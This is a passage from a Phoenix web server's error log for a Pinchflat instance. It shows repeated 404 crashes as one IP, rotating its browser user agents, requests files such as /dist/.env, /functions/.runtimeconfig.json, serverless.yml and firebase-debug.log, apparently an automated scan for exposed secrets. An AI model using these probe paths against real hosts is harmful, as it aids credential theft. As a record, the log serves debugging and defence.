"45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serverless (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138998.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yml", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1" (truncated) 04:52:50.601 [error] #PID<0.139023.0> running PinchflatWeb.Endpoint (connection #PID<0.139005.0>, stream id 5) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /dist/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dist/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139023.0>, params: %{}, path_info: ["dist", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "max-age=0"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/dist/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxRMnRLrIZMoAACsk"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dist/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => (truncated) 04:52:50.596 [error] #PID<0.139024.0> running PinchflatWeb.Endpoint (connection #PID<0.138955.0>, stream id 15) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /functions/.runtimeconfig.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /functions/.runtimeconfig (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/functions/.runtimeconfig.json", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 15, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139024.0>, params: %{}, path_info: ["functions", ".runtimeconfig"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "de-DE,de;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/functions/.runtimeconfig.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxRMn_bHVn58AABYo"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/functions/.runtimeconfig.json", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 15, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /functions/.runtimeconfig (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/functions/.runtimeconfig.json", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "? (truncated) 04:52:50.608 [error] #PID<0.139025.0> running PinchflatWeb.Endpoint (connection #PID<0.139002.0>, stream id 2) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /serverless.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serverless (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139002.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yaml", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46196}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139025.0>, params: %{}, path_info: ["serverless"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/serverless.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxRMtM-wUhYIAACtE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139002.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yaml", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46196}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serverless (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139002.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yaml", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46196}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-fo (truncated) 04:52:50.599 [error] #PID<0.139022.0> running PinchflatWeb.Endpoint (connection #PID<0.139004.0>, stream id 4) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /firebase-debug.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase-debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139004.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-debug.log", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139022.0>, params: %{}, path_info: ["firebase-debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.5"}, {"dnt", "1"}, {"host", "pinchflat.ocaff.com"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/firebase-debug.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxRMne_EgSOAAAHsD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139004.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-debug.log", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase-debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139004.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-debug.log", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, (truncated) 04:52:50.604 [error] #PID<0.139026.0> running PinchflatWeb.Endpoint 